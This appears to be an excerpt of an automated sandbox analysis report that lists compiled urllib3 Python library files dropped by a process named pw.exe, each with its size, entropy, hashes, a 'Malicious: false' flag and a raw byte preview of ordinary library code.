SHA-256:	BF115A46CAB7820EED9203BCA8F1DFBDD8CF152F6927CD8756502DEF303959FD
SHA-512:	7CA59398D5375901B2DA0666EE5CABB6458E3FF835BD06A1F71C2E3248144A7324E6818E9C07BFEF3A595D31EE2E391CDFBF8678976EB9174DB69761D15C69E5
Malicious:	false
Preview:	o.........Sg.........................@...sh...U.d.Z.e.r.d.d.l.m.Z.m.Z...e.e.e.e.f...d.f...Z.n.e.Z.e.e.d.<.e.e.d.<.e.e.d.<.e.e.d.<.d...Z.Z.d...Z.Z.d.S.).F.....)...Tuple..Union...version..__version__..__version_tuple__..version_tuplez.2.2.3)......r.........N)...TYPE_CHECKING..typingr....r......int..strZ.VERSION_TUPLE..object..__annotations__r....r....r....r......r....r.....3C:\recover\pw\lib\site-packages\urllib3\_version.py..<module>....s..........................

C:\recover\pw\lib\site-packages\urllib3\pycache\connection.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	23996
Entropy (8bit):	5.53805638383117
Encrypted:	false
SSDEEP:	384:E3ozv1iEkiRj91RsJ0YTnenrRaBVIT7sgTbzXugzTBDERk4VypKsFVc56AnzeuqG:E3oxrjRsJ0YTG6I8gniiJqYpn6QesG
MD5:	CEDD73035A8C8A695F53F950BD56F265
SHA1:	6B5B6DB9D51D28BEE767609A2974D24F70399CFF
SHA-256:	21323EA885646EB4B36D7B3A77FC1B9EA0C614BB113002187450C841B3952395
SHA-512:	8BB98F8F29A604A33FA63F44B456DF18E74C7C9C395748130F40377527D3F21B64CEBA72F7BA098DC28B96D4F286B8045F9E43CFBC6BBB59BC038DC22EA8ED73
Malicious:	false
Preview:	o.........SgT........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r[d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l!m"Z"m#Z#m$Z$..d.d.l%m&Z&..d.d.l'm(Z(..z.d.d.l)Z)e)jZ+W.n...e,e-f.y.......d.Z)G.d.d...d.e...Z+Y.n.w.d.d.l/m0Z0..d.d.l/m1Z1..d.d.l/m2Z2..d.d.l3m4Z4..d.d.l5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?m@Z@..d.d.lAmBZB..d.d.l.mCZD..d.d.l.mEZEmFZFmGZGmHZHmIZI..d.d.lJmKZKmLZL..d.d.lMmNZN..eOZOePZPe..QeR..ZSd.d.d ..ZTe..Ud!d"d...ZVe..Wd#..ZXeYe.d$..ZZG.d%d&..d&e...Z.G.d'd(..d(e...Z[G.d)d..d*e.j\..Z]d+d,..d_dFdG..Z^.+d`dadNdO..Z_dbdTdU..Z`dcdVdW..ZaG.dXdY..dY..Zbe)..s[ebZ[e[Zc..ddded]d^..Zdd.S.)f.....)...annotationsN)...HTTPConnection)...HTTPException)...ResponseNotReady....timeout.........HTTPResponse)..._TYPE_PEER_CERT_RET_DICT)...SSLTransport)...HTTPHeaderDict)...probe)...assert_header_parsing)..._DEFAULT_TIMEOUT.._TYPE_TIME

C:\recover\pw\lib\site-packages\urllib3\pycache\connectionpool.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	29184
Entropy (8bit):	5.438017216787492
Encrypted:	false
SSDEEP:	384:Fi2la3Jti2pYtq6fBiKrzYIpKneR4TliLX1XkFCDD2rz8vIkwjYHklf8HvpnykHN:UxQ22tqUBi9eOTlfavNyke9aR
MD5:	669B20F82E429499082F447B733B64BE
SHA1:	42271D8B4B744CAA8608E403B801DBBE87309772
SHA-256:	D6AA4964FA4C42BC5695A29B02C256B426686DC5ADF1A5D01EA9EBBEB6DBFD1C
SHA-512:	097639DCEACEDB9285A11FFE62D839111BC0D8F67E986446588491F217E7D3707585BCCCAAB5EB79AE6A641D78A11FEE9122F6AB110AE4C7ED97DEA23DAAB56B
Malicious:	false
Preview:	o.........Sg.........................@...sV...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)mZm+Z+..d.d.l,m-Z-..d.d.l.m/Z/..d.d.l0m1Z1..d.d.l2m3Z3m4Z4..d.d.l5m6Z6..d.d.l7m8Z8..d.d.l9m:Z:m;Z;m<Z<..d.d.l=m>Z>m?Z?..d.d.l=m@ZA..d.d.l=mBZB..d.d.lCmDZD..e.jEr.d.d.lFZFd.d.lGmHZH..d.d.l.mIZImJZJ..e..KeL..ZMe.jNe<eOe;d.f...ZPG.d.d...d...ZQe.jRe.jSh.ZTG.d.d...d.eQe...ZUG.d.d...d.eU..ZVd6d$d%..ZWe.jXd7d*d+....Z@e.jXd8d,d+....Z@d9d-d+..Z@..d:d;d1d2..ZYd<d4d5..ZZd.S.)=.....)...annotationsN....timeout)...TracebackType.....)..._TYPE_BODY)...HTTPHeaderDict)...RequestMethods)...BaseSSLError..BrokenPipeError..DummyConnection..HTTPConnection..HTTPException..HTTPSConnection..ProxyConfig.._wrap_proxy_error)...port_by_scheme)...ClosedPoolError..EmptyPoolError..FullPoolError..HostChangedError..InsecureRequestWarning..Location

C:\recover\pw\lib\site-packages\urllib3\pycache\exceptions.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13207
Entropy (8bit):	4.948374909247997
Encrypted:	false
SSDEEP:	384:cNGd2MCSNJR3aibXrLh86mCrEl7mRkUfLL2xEZiru/cc8fditjgsS5ioCR:cgdfCSNJR3aibXrLh86frElCRvTCuUrM
MD5:	22DDF1953F1E7E3162E351051F00F719
SHA1:	6BD0852BF1C36AA1AE49F0465763634F51AEBCD0
SHA-256:	189C2DEE44BEAB84A4EBF1A786FB454221B583D7967E468CCFE2E4BE295D1345
SHA-512:	1F9D1976012AE18D1BE95F71D18B58407184B4011F20FAA84D5B4A551FDFBF273064B42BCEF058EE32E21BB56CCA7F8D1D60AC4D4EE204094AB6019BB99BEE88
Malicious:	false
Preview:	o.........Sg.$.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.r9d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.j.e.j.d.e.f...e.j.e.d.f...f...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z e Z!G.d.d...d.e...Z"G.d.d...d.e...Z#G.d.d ..d e...Z$G.d!d"..d"e...Z%G.d#d$..d$e%e...Z&G.d%d&..d&e%..Z'G.d'd(..d(e'e...Z(G.d)d..de(..Z)G.d+d,..d,e...Z*G.d-d...d.e...Z+G.d/d0..d0e...Z,G.d1d2..d2e-e...Z.G.d3d4..d4e...Z/G.d5d6..d6e...Z0G.d7d8..d8e...Z1G.d9d:..d:e...Z2G.d;d<..d<e2..Z3G.d=d>..d>e2..Z4G.d?d@..d@e2..Z5G.dAdB..dBe2..Z6G.dCdD..dDe...Z7G.dEdF..dFe e-..Z8G.dGdH..dHe...Z9G.dIdJ..dJe.e...Z.G.dKdL..dLe.e...Z:G.dMdN..dNe...Z;G.dOdP..dPe<e0..Z=G.dQdR..dRe-..Z>G.dSdT..dTe...Z?G.dUdV..dVe...Z@d.S.)W.....)...annotationsN)...MessageDefect)...IncompleteRead.....)...HTTPConnection)...ConnectionPool)...HTTPResponse)...Retryc....................@........e.Z.d.Z.d.Z.d.S.)...HT

C:\recover\pw\lib\site-packages\urllib3\pycache\fields.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9689
Entropy (8bit):	5.3964469090879446
Encrypted:	false
SSDEEP:	192:yIk0HKu22d82vhf5Ev375rL9FYAKHK0oi7:Dk0HKu22Cehf+vL5rL9FYAKHboi7
MD5:	653F538B91445CA8A196EB969C4FDA26
SHA1:	0AC1F9AD7C09CF74A3B5FABE13F8EDB5AD2568F1
SHA-256:	06BB06BA52E6E904F1AE6B576C91ACE1AD27C6C20F522A5F63858E7E77DEE4FB
SHA-512:	279A44E46D587B90809177C78A5C9D5BD884A4CEB13FF1F0B0EFE7202083FF7E0680E6D70F734416E4309222A9705FD9786213A5730597A28B7B79BD5E4FBA00
Malicious:	false
Preview:	o.........Sg[*.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.e.e.f...Z.e.j.e.e.j.e.e.f...e.j.e.e.e.f...f...Z...d.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.G.d.d...d...Z.d.S.)......)...annotationsN..application/octet-stream..filename..str \| None..default..str..returnc....................C...s....\|.r.t...\|...d...p.\|.S.\|.S.).z.. Guess the "Content-Type" of a file... :param filename:. The filename to guess the "Content-Type" of using :mod:`mimetypes`.. :param default:. If no "Content-Type" can be guessed, default to `default`.. r....)...mimetypesZ.guess_type).r....r......r.....1C:\recover\pw\lib\site-packages\urllib3\fields.py..guess_content_type....s..........r......name..value.._TYPE_FIELD_VALUEc........................s....d.d.l.}.\|.j.d.t.d.d.....t...t...r.....d.....t...f.d.d...d.D.....s=\|...d.....d...}.z.\|...d.....W.\|.S...t.t.f.y<......Y.n.w.t.j.....d.....\|...d...........S.).a..... Helper function to format and quote a singl

C:\recover\pw\lib\site-packages\urllib3\pycache\filepost.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2319
Entropy (8bit):	5.5713498818953155
Encrypted:	false
SSDEEP:	48:koL1hfLSEUyrfcuCKwlb9BEA2GS8FD5yHbVz:kSLSExc59TEA2CDUHbx
MD5:	C929B1AD68FF8B68D158D52EA985CBF7
SHA1:	460E50D4FCF730A43E34D915D6D6A5B6B9D7ED3B
SHA-256:	D983C286D50D64956C07578E42626B209523ED2862180E2DF6A8D131B8750FE8
SHA-512:	18D502228465621DB61B231F0A534E8E05256F89195DE519855BF6C0FFBA604E543667FA15B4D73FAD7F6FA409584293284EF26D2C754A50434CCBDEB7AC7B99
Malicious:	false
Preview:	o.........Sg[........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e...d...d...Z.e.j.e.j.e.j.e.e.f...e.f.....Z.e.j.e.e.j.e.e.f...f...Z.d.d.d...Z.d.d.d...Z...d.d.d.d...Z.d.S.)......)...annotationsN)...BytesIO.....)..._TYPE_FIELD_VALUE_TUPLE..RequestFieldz.utf-8.......return..strc....................C...s....t...t...d.........S.).zN. Our embarrassingly-simple replacement for mimetools.choose_boundary.. .....)...binascii..hexlify..os..urandom..decode..r....r.....3C:\recover\pw\lib\site-packages\urllib3\filepost.py..choose_boundary....s......r......fields.._TYPE_FIELDS..typing.Iterable[RequestField]c....................c...sH.....t.\|.t.j...r.\|.....}.n.\|.}.\|.D.].}.t.\|.t...r.\|.V...q.t.j.\|...V...q.d.S.).z.. Iterate over fields... Supports list of (k, v) tuples and dicts, and lists of. :class:`~urllib3.fields.RequestField`... N)...isinstance..typing..Mapping..itemsr....Z.from_tuples).r......iterable..fieldr....r....r......ite

C:\recover\pw\lib\site-packages\urllib3\pycache\poolmanager.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	18175
Entropy (8bit):	5.487764432559702
Encrypted:	false
SSDEEP:	384:+lCIl5+Q6vw7bm2+Pp0hTZp4tGwimHF3Y:+vgQ6vwng+NZp8Bl3Y
MD5:	04B1D56A8D23994D137BFEC4E31435D7
SHA1:	9685A1995C4E74D5F8997FE88D158DC2DB5572C9
SHA-256:	E4FF4691A163E786928342F86B2DD45399124F6FF102861E922CE7B9029CE20F
SHA-512:	696F373B2AD296886858477586CE807F4E6F7DDCA46B59A2BD897602422F8890BB116FED7DC494AC18FC764C0B281B48D93C38E4469E4A285844314532B187AF
Malicious:	false
Preview:	o.........Sg.Y.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..d.d.l$m%Z%m&Z&..e.j'r.d.d.l(Z(d.d.l)mZ..g.d...Z+e..,e-..Z.d.Z/d.Z0G.d.d...d.e.j1..Z2d)d.d...Z3e..4e3e2..e..4e3e2..d...Z5e.e.d...Z6G.d.d ..d e...Z7G.d!d"..d"e7..Z8d*d'd(..Z9d.S.)+.....)...annotationsN)...TracebackType)...urljoin.....)...HTTPHeaderDict..RecentlyUsedContainer)...RequestMethods)...ProxyConfig)...HTTPConnectionPool..HTTPSConnectionPool..port_by_scheme)...LocationValueError..MaxRetryError..ProxySchemeUnknown..URLSchemeUnknown)...BaseHTTPResponse)..._TYPE_SOCKET_OPTIONS)...connection_requires_http_tunnel)...Retry)...Timeout)...Url..parse_url)...Self)...PoolManager..ProxyManager..proxy_from_url)...key_file..cert_file..cert_reqs..ca_certs..ca_cert_data..ssl_version..ssl_minimum_version..ssl_maximum_version..ca_cert_dir..ss

C:\recover\pw\lib\site-packages\urllib3\pycache\response.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	33437
Entropy (8bit):	5.3325671151321234
Encrypted:	false
SSDEEP:	384:+uBkshRIwAG560Mg+c3lKBgtd1xaZ38CSYJr/YV4CypM0AmwK2Kd1B+E1dz6RPrX:+Gc8L1KBaPxbupCIAHK2KZiy8wUhX
MD5:	53A96238D6DCB6612B113050DD66DA6F
SHA1:	2DA665EC20780D4EB8546982C287D716DF201CF2
SHA-256:	F78D9318601CEF89420DDC9AF33F68E456CF50D60A6B2C7ABDF968FAA34AFFAC
SHA-512:	2C7F78645659B284629355DC889C8178D11980C86B72706FED77A5988019FA23758BD2DC08004FA8A543611872F627CE998FBD55B2B4714CB5B31B3560BF2126
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.rKd.d.l.m.Z...z.z.d.d.l.Z.W.n...e.y_......d.d.l.Z.Y.n.w.W.n...e.yl......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.e.e.f.y.......d.Z Y.n.w.e!e"e#e..$d.e.j%...&......Z'e'd.k.r.d.Z n.d.Z d.d.l(m)Z)..d.d.l.mZ..d.d.l+m,Z,..d.d.l-m.Z.m/Z/m0Z0..d.d.l1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>..d.d.l?m@Z@..e.j.r.d.d.lAmBZB..e..CeD..ZEG.d.d...d...ZFG.d.d...d.eF..ZGG.d.d...d...ZHG.d.d...d.eF..ZIe.d.u...r.G.d.d...d.eF..ZJe ..r.G.d.d ..d eF..ZKG.d!d"..d"eF..ZLd.d&d'..ZMG.d(d)..d)..ZNG.d*d+..d+e.jO..ZPG.d,d-..d-eP..Z.d.S.)/.....)...annotationsN)...contextmanager)...HTTPMessage)...HTTPResponse)...timeout.....)...BaseHTTPConnectionFz.^([0-9]+)\.([0-9]+)).r.........T)...util)..._TYPE_BODY)...HTTPHeaderDict)...BaseSSLError..HTTPConnection..HTTPException)...BodyNotHttplibCompatible..DecodeError..HTTPError..IncompleteRead..

C:\recover\pw\lib\site-packages\urllib3\contrib\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	152
Entropy (8bit):	4.317831626970639
Encrypted:	false
SSDEEP:	3:y/+Nmtylluleh/wZWe5RQGKMWkVWrzOXH+IOkcTgp:y/+Qy/qeh/wzTMkAr6XeR4
MD5:	4F0B7F58DE04C227CE63D79BD98F7B3B
SHA1:	BEC7367C8467629212E8D1FB292FE0E1945835A9
SHA-256:	651C1BB1E74B02CBB58AF0E0D99BB515771CF999266DE7B28E9C277A426A01F6
SHA-512:	34061ABA2262487FE0859064B805E6E307066C3857EBB57FA8D643EEF1B7BE9ADF8F1A3F4452F6C1ABA3750A5DBA4C939AA96F7176B00BD40A715BB39E170458
Malicious:	false
Preview:	o.........Sg.........................@...s....d.S.).N..r....r....r.....;C:\recover\pw\lib\site-packages\urllib3\contrib\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\urllib3\contrib\pycache\socks.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6113
Entropy (8bit):	5.627705166063952
Encrypted:	false
SSDEEP:	96:rq8bFojUEqiHSz8YSKWZMs7hTbWiTmC69iE245Zi81JQ3:m6VEqtF3GbC9ipca3
MD5:	34B7253CED7BABF90BBCF1DF935EC575
SHA1:	D5A805800902B5DEC9614A4F132E5C823108C1AA
SHA-256:	DDB2C871DA9496E7164EC7243D38D5FEE587D82ABBB5A9C0625D54AEF454007A
SHA-512:	C9002AE5802AF3AF2F43EC7AF67541CAF78B0BC71DC8385B8F81B417B035B0132E270A67298E171DCB7E6E07C9B4A3349C654C8E625E6E9FA9EC213A9DF890E4
Malicious:	false
Preview:	o.........Sg}........................@...s6...d.Z.d.d.l.m.Z...z.d.d.l.Z.W.n...e.y&......d.d.l.Z.d.d.l.m.Z...e...d.e.......w.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.yf......d.Z.Y.n.w.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z d.S.).a.....This module contains provisional support for SOCKS proxies from within.urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and.SOCKS5. To enable its functionality, either install PySocks or install this.module with the ``socks`` extra...The SOCKS implementation supports the full range of urllib3 features. It also.supports the following SOCKS features:..- SOCKS4A (``proxy_url='socks4a://...``).- SOCKS4 (``proxy_url='socks4://...``).- SOCKS5 with remote DNS (``proxy_url='socks5h://...``).- SOCKS5 with local DNS (``proxy_url='socks5://...``).- Usernames and passwords for the SOCKS proxy.... note::. It is recom

C:\recover\pw\lib\site-packages\urllib3\http2\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	5.3576353587984205
Encrypted:	false
SSDEEP:	24:RFMu6QKYYYH7N9QU4DMU3KZsGfM3yRiR7FNW92vbwFWHrb49msQWP7:wBdYLbX4DinRahD9Hrb4mAP7
MD5:	AAF18B29B822644B39BA5B7680F06A45
SHA1:	15550730D96B9E030932027338BA717B4DC7B93E
SHA-256:	523E9A2DCE91E9A511C9AB22F3065BAE2ABF32A07E2EE47977554363C65FA3E4
SHA-512:	5030B86D7D201DD7DB921250E306E0A0E0CC18AE0EF3FC2F2ADA05F9E713D87E19C12AB35A432051A49BB121DFA4D7A8DBBA362537E6CB659ECA51C397E15D80
Malicious:	false
Preview:	o.........Sg.........................@...sN...U.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.d.l.Z.d.a.d.e.d.<.d.d.d...Z.d.d.d...Z.d.S.)......)...annotations)...version..inject_into_urllib3..extract_from_urllib3Nz.typing.Any..orig_HTTPSConnection..return..Nonec....................C...s....t.d...}.\|...d...s.t.d.\|...d.......d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...\|.j.a.\|.\|._.\|.\|._.d.g.\|._.d.g.\|._.d.S.).N..h2z.4.zQurllib3 v2 supports h2 version 4.x.x, currently the 'h2' module is compiled with z5. See: https://github.com/urllib3/urllib3/issues/3290.........connection....util....HTTPSConnectionPool....ssl_.....)...HTTP2Connection).r......startswith..ImportError..r....r......connectionpoolr....r....r......HTTPSConnectionr......ConnectionCls..ALPN_PROTOCOLS).Z.h2_version..urllib3_connection..urllib3_utilr......urllib3_util_sslr......r.....9C:\recover\pw\lib\site-packages\urllib3\http2\__init__.pyr........s".....................................c....................C...sP...d.d.l.m.}.

C:\recover\pw\lib\site-packages\urllib3\http2\pycache\probe.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2523
Entropy (8bit):	5.234405014580908
Encrypted:	false
SSDEEP:	48:UPQG3rPVmqRTB08DGmDZrZCYawGQ2bcwf27jpWsI663cv6iuJh6+:Uzr/DGmDZEYaw4bbujpXkSNok+
MD5:	19786314EE560BBC5AA7C64DE192A75A
SHA1:	D79A305F42D40EADE5358C0237A2BED96303898C
SHA-256:	239F41EC2F1596504E78C957421B96128017BF59C6D37A40562EEEA8E1F552F5
SHA-512:	D04100231BAF8B77D373403CBB3CDE8A11DE910D155026AC0696B627E3831879FC3AAD9AE3F741A4352A5FD44BB87C4D4CBCF0873F6CCCEBB9FCAF0B5594A171
Malicious:	false
Preview:	o.........Sg.........................@...sL...d.d.l.m.Z...d.d.l.Z.G.d.d...d...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.g.Z.d.S.)......)...annotationsNc....................@...sB...e.Z.d.Z.d.Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)..._HTTP2ProbeCache...._lock.._cache_locks.._cache_values..return..Nonec....................C...s....t.....\|._.i.\|._.i.\|._.d.S...N)...threading..Lockr....r....r........self..r.....6C:\recover\pw\lib\site-packages\urllib3\http2\probe.py..__init__....s..........z._HTTP2ProbeCache.__init__..host..str..port..int..bool \| Nonec....................C...s....d.}.\|.j..7..\|.\|.f.}.z.\|.j.\|...}.\|.d.u.r.\|.W.W...d.........S.W.n...t.y4......t.....\|.j.\|.<.d.\|.j.\|.<.Y.n.w.W.d.........n.1.s?w.......Y...\|.j.\|...}.\|.......z.\|.j.\|...}.W.\|.S...t.ym..}...z.t.\|.t...rdJ...\|.........d.}.~.w.w.r....).r....r......KeyErrorr......RLockr......acquire..BaseException..isinstance..release).r....r....r......value..key..key_lock..er....r....r......acquire_and_get....s4.................

C:\recover\pw\lib\site-packages\urllib3\util\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	5.282878772840555
Encrypted:	false
SSDEEP:	24:3JUVegJzYoyYhRYQZyihmLptrv2buqq9PXHdL:33gJz2Y39Zyi0TrOaqq9P3B
MD5:	7B7BE270C4459C12DE51B0B083C0DFFE
SHA1:	B3BCA0E79E9293790CC048034786F06A6D7071A0
SHA-256:	CB49B19433379336CFD3AA94287EE8E5133C63F32E18F412D69EACDAF4FA4988
SHA-512:	8D4307069ABEBA7EFEE1F562771710F1328CAA6147490FDA404E0B5288CBF6D3A7D6046EE49354026CC1946B807EB7E717A3787DC04470A11AAC75C4AC08437A
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.S.)......)...annotations.....)...is_connection_dropped)...SKIP_HEADER..SKIPPABLE_HEADERS..make_headers)...is_fp_closed)...Retry)...ALPN_PROTOCOLS..IS_PYOPENSSL..SSLContext..assert_fingerprint..create_urllib3_context..resolve_cert_reqs..resolve_ssl_version..ssl_wrap_socket)...Timeout)...Url..parse_url)...wait_for_read..wait_for_write).r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r....N)...__future__r......connectionr......requestr....r....r......responser....Z.retryr....Z.ssl_r....r....r....r....r....r....r....r......timeoutr......urlr....r......waitr....r......__all__..r....r.....8C:\recover\pw\lib\site-packages\urllib3\util\__init__.py..<module>....s..............(.........

C:\recover\pw\lib\site-packages\urllib3\util\pycache\connection.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3451
Entropy (8bit):	5.533045940055059
Encrypted:	false
SSDEEP:	48:pd8QkXnGs+RA+j7JArpwwSRGR7UAm0DEWStUV5yrIeoYPqr+rb8WTUVHwZJP9+:XkXB+m+hAVwwStdndm5YXiub8WT3ZJI
MD5:	228786368714328C9A766425C3A09219
SHA1:	3A3D90C46274A958A5E67029CE8E3DC54C1FCD60
SHA-256:	3CA9561ECE81E2FD1B71A4F3C813A59988E1153BDF017B48736094C37B1D84B2
SHA-512:	1FF455178CE55D727914314A5D7CDE306DCCCB9B32657548E274C0EE56F6DD4DD8E002C577D3365FA7992996233BB799645FEB5897D7A0AD80F6565E7915E42B
Malicious:	false
Preview:	o.........Sgj........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.j.e.e.e.j.e.e.f...f.....Z.e.j.r5d.d.l.m.Z...d&d.d...Z.e.d.d.f.d'd.d...Z.d(d.d...Z.d)d.d ..Z.dd#d$..Z.e.d%..Z.d.S.)+.....)...annotationsN.....)...LocationParseError.....)..._DEFAULT_TIMEOUT.._TYPE_TIMEOUT)...BaseHTTPConnection..connr......return..boolc....................C...s....\|.j...S.).z.. Returns True if the connection is dropped and should be closed.. :param conn: :class:`urllib3.connection.HTTPConnection` object.. )...is_connected).r......r.....:C:\recover\pw\lib\site-packages\urllib3\util\connection.py..is_connection_dropped....s......r......address..tuple[str, int]..timeoutr......source_address..tuple[str, int] \| None..socket_options.._TYPE_SOCKET_OPTIONS \| None..socket.socketc....................C...s$...\|.\.}.}.\|...d...r.\|...d...}.d.}.t...}.z.\|...d.....W.n...t.y......t.d.\|...d.....d...w.t...\|.\|.\|.t.j...D.]O}.\|.\.}.}.}.}.}.d.}.z(t...\|.\|.\|...}.t.\|.\|.....\|.t.u.r

C:\recover\pw\lib\site-packages\urllib3\util\pycache\proxy.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	5.354057933025255
Encrypted:	false
SSDEEP:	24:l/ZpGf5n/lIpWt84RzmQXvAFnT8adLRdX7frY8lt6rn:lut/Rt82m38apfLf7S
MD5:	5099897B0F23553BA48E8E18BA7F1DD7
SHA1:	E6EB0EFB792010650DB0948DA43A77C9D8BA1E9B
SHA-256:	DD966CE948B6EA17CA122A1815F7CA8DC67291895B55CEBE04E7BFB4E0DFFC1B
SHA-512:	09D675A8A00CA17EBD7AC81659729994B22B6AB675EA27C7233E75174AD14DC8BF1B7B300383FEBBCCFC8F744A66B61BDBD7C8A1CF50DC197C10F7B1F3E5ED15
Malicious:	false
Preview:	o.........Sg\|........................@...sH...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...e.j.r.d.d.l.m.Z.........d.d.d.d...Z.d.S.)......)...annotationsN.....)...Url.....)...ProxyConfig..proxy_url..Url \| None..proxy_config..ProxyConfig \| None..destination_scheme..str \| None..return..boolc....................C...s4...\|.d.u.r.d.S.\|.d.k.r.d.S.\|.j.d.k.r.\|.r.\|.j.r.d.S.d.S.).a?.... Returns True if the connection requires an HTTP CONNECT through the proxy... :param URL proxy_url:. URL of the proxy.. :param ProxyConfig proxy_config:. Proxy configuration from poolmanager.py. :param str destination_scheme:. The scheme of the destination. (i.e https, http, etc). NF..http..httpsT)...scheme..use_forwarding_for_https).r....r....r......r.....5C:\recover\pw\lib\site-packages\urllib3\util\proxy.py..connection_requires_http_tunnel....s..........................r....).NNN).r....r....r....r....r....r....r....r....)...__future__r......typing..urlr......TYPE_CHECKING..connectionr....

C:\recover\pw\lib\site-packages\urllib3\util\pycache\request.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6186
Entropy (8bit):	5.644467345914204
Encrypted:	false
SSDEEP:	96:Bj+t5GGiDKV+DKYzQ2P7f5xv5j4GyT/+MyjjMbsrHMCtkXT3v5tChK:UCKV+DKYzP7xx6tsjM4HITDN
MD5:	A37D674AF7A915889B717AABB678FF7B
SHA1:	3C29FCC0849A1D966FBF888144620AC632FCDCE1
SHA-256:	5FEB160FA46B6330317D845F30E5ACD6C6764980B6FA5B1DBDDAA47C57E48A60
SHA-512:	A5FE0835BD5CEF09AA87C2DD4D11044330BD3F1BDB1F5E4EFA67DB5275755CC7D347EF6222B800B0D52D65474330E0D616CCFE7789CB10DE6F20F31643F2CFF3
